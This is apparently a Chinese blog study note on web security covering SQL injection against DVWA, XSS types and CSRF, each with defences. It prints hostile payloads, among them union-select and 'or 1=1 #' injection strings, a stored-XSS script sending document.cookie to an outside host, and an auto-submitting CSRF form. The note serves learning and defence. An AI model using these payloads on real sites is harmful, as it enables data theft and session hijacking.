2023/3/14，15
1. sql注入学习
针对数据库的攻击，将恶意的sql查询或添加语句插入到应用的输入参数中，在后台sql服务器上解析执行进行的攻击。
用户输入的数据被构造成恶意的sql代码
sql注入的主要威胁：
- sql注入实例1—猜解数据库：
正常输入1，之后的数据库操作
SELECT first_name, last_name FROM users WHERE user_id = '1';
如果在输入框中输入1‘ order by 1#，实际的sql语句变成：
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1#`;(按照Mysql语法，#后面会被注释掉，使用这种方法屏蔽掉后面的单引号，避免语法错误)
使用#将后面的单引号给注释掉，避免语法错误。
含义是查询users表中user_id为1的数据并按第一字段排行，这样可以知道users表中字段数目。
使用union select联合查询继续获取信息
输入框中输入1’ union select database(), user()#进行查询 返回当前的数据库名字，和当前查询的用户名
union将两个及以上select语句查询结果集合合并成一个结果集合显示。
接下来我们尝试获取 dvwa 数据库中的表名。
information_schema 是 mysql 自带的一张表，这张数据表保存了 Mysql 服务器所有数据库的信息,如数据库名，数据库的表，表栏的数据类型与访问权限等。该数据库拥有一个名为 tables 的数据表，该表包含两个字段 table_name 和 table_schema，分别记录 DBMS 中的存储的表名和表名所在的数据库。
实际执行的sql语句是：
SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#`;
- sql注入实例2—验证绕过
当我们正常登录的时候，执行的操作是：
select * from users where username='123' and password='123'
查询到数据表中同时满足username和password字段，就会返回登录成功。
如果在用户名和密码中输入：123‘ or 1=1 # ，123’ or 1=1 #就可以成功登录，mysql语法，#后面的内容会被忽略。
判断sql注入点
可能存在sql注入漏洞的Url是类似这种形式：
http://xxx.xxx.xxx/abcd.php?id=XX
单引号判断法，下面两种情况都会报错。
判断是否存在sql注入漏洞：
- sql注入漏洞-数字型判断
当输入的参数为整数型时，通过经典的and 1=1 和 and 1=2来判断，前者不报错，后者报错，即为sql数字型注入。
- sql注入漏洞-字符型判断
当输入的参数为字符型时，通过使用 and ‘1’ =’1 和and ‘1’ =’ 2来进行判断
sql注入的分类
- 盲注：
- 布尔盲注，以页面回显的内容的不同作为判定依据， 1 and 1=1
- 时间盲注，以回显的时间长短作为判断依据
- DNSlog盲注
- 报错注入：
经过精心构造的函数，让函数处理user()等不合规定的数据
- 联合查询：只能用在select最后处，后面还有sql语句就必须注释掉，必须用到union和select两个关键字，容易被拦截
- 宽字节注入（）
2. XSS攻击跨站脚本攻击
跨站脚本攻击
攻击者在web页面中插入一些恶意的script代码，用户浏览该页面，嵌套在该页面的代码就会执行，达到攻击用户的目的，如cookies资料窃取，会话劫持，钓鱼欺骗等攻击。
1）反射型XSS
一个恶意邮件信息或者链接，被攻击者点击并访问该链接时，向攻击者的目标服务器发起请求，根据请求返回相关的script代码，当浏览器解析这些script代码时，代码在浏览器被执行，用户被攻击。
例如：出现token和cookie等信息的泄露
2）存储型XSS
持久性攻击方式，该攻击的代码会提交到服务器中的数据中进行保存。
<script>window.open("http://www.fordldmc.com?params=" + document.cookie)</script>
用户在自己博客中写入js代码，不加处理，保存到服务器的数据库中，其它用户访问该博客时，用户浏览器就执行这段script，本地cookie就发生了泄露。
3）DOM-based型XSS
客户端的js可以对DOM节点进行动态的操作，
DOM-based XSS是前端的漏洞，反射型和存储型XSS是服务器漏洞。
XSS攻击的预防
- 攻击者提交恶意代码
- 浏览器执行恶意代码
-
输入过滤：前端进行过滤，没有用，用户可以直接请求接口。代码在后端准备写入数据库中定义，也不一定行，
对于一些特别的输入，比如电话号码等信息可以使用输入过滤
-
预防存储型和反射型XSS攻击
在服务器端取出恶意代码，到响应的HTML中，攻击者编写数据被内嵌到代码中，被浏览器执行。
预防漏洞方法：1.纯前端渲染， 2. 转义HTML，将&，<>” ’ /这几个字符进行转义，起到XSS防护作用。
-
预防DOM型XSS攻击
把不可信的数据当作代码执行，使用.innerHTML，.outerHTML时要小心
XSS的转义是在输出HTML时，进行转移
3. CSRF跨站请求伪造
攻击者盗用我的身份，以我的名义发送恶意请求，对服务器来说这个请求是完全合法的
- GET型：
如果一个网站某个地方的功能，比如用户修改邮箱是通过GET请求进行修改的。如：/user.php?id=1&email=123@163.com ，这个链接的意思是用户id=1将邮箱修改为123@163.com。当我们把这个链接修改为 /user.php?id=1&email=abc@163.com ，然后通过各种手段发送给被攻击者，诱使被攻击者点击我们的链接，当用户刚好在访问这个网站，他同时又点击了这个链接，那么悲剧发生了。这个用户的邮箱被修改为 abc@163.com 了
- POST型：
在普通用户的眼中，点击网页->打开试看视频->购买视频是一个很正常的一个流程。可是在攻击者的眼中可以算正常，但又不正常的，当然不正常的情况下，是在开发者安全意识不足所造成的。攻击者在购买处抓到购买时候网站处理购买(扣除)用户余额的地址。比如：/coures/user/handler/25332/buy.php 。通过提交表单，buy.php处理购买的信息，这里的25532为视频ID。那么攻击者现在构造一个链接，链接中包含以下内容
<input type="text" name="xx" value="xx" />
</form>
<script> document.forms[0].submit(); </script>
当用户访问该页面后，表单会自动提交，相当于模拟用户完成了一次POST操作，自动购买了id为25332的视频，从而导致受害者余额扣除
2）CSRF攻击原理
- 用户输入账号信息请求登录A网站。
- A网站验证用户信息，通过验证后返回给用户一个cookie
- 在未退出网站A之前，在同一浏览器中请求了黑客构造的恶意网站B
- B网站收到用户请求后返回攻击性代码，构造访问A网站的语句
- 浏览器收到攻击性代码后，在用户不知情的情况下携带cookie信息请求了A网站。此时A网站不知道这是由B发起的。那么这时黑客就可以进行一下骚操作了！
两个条件：a 用户访问站点A并产生了cookie
b 用户没有退出A同时访问了B
3）CSRF漏洞挖掘
抓取一个正常请求的数据包，没有Referer字段和token，既有可能存在CSRF漏洞
而正常请求的数据包，去掉Referer字段后再重新提交，该提交还有效的话，基本确定存在CSRF漏洞。
4）CSRF攻击的防御
- 验证HTTP Referer字段
HTTP协议，在HTTP头中有一个字段叫Referer，记录了该HTTP请求的来源地址
抵御CSRF攻击，银行网站对每个转账请求验证其Referer值，分析其域名开头是否合法。
黑客现在可以篡改Referer值，同时Referer值会记录用户的访问来源，侵犯隐私，可以不提供Referer值。
- 优点：使用方便，开发简单，一定程度上预防CSRF攻击
- 缺点：完全依托于浏览器，Referer字段容易被故意篡改或者被禁用
- 在请求地址中添加token并验证（Anti-CSRF token）
抵御CSRF的关键在于在请求中放入黑客所不能伪造的信息，信息不存在cookie中。
HTTP请求中以参数的形式加入一个随机产生的token。
这种方法要比检查 Referer 要安全一些，token 可以在用户登陆后产生并放于 session 之中，然后在每次请求时把 token 从 session 中拿出，与请求中的 token 进行比对
- 在HTTP头中自定义属性并验证
将token以参数的形式放到HTTP头中自定义的属性里。通过XMLHttpRequest一次性将所有该类请求加上CSRFToken这个HTTP头属性
XMLHttpRequest请求通常用语Ajax方法中对于页面局部的异步刷新。
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
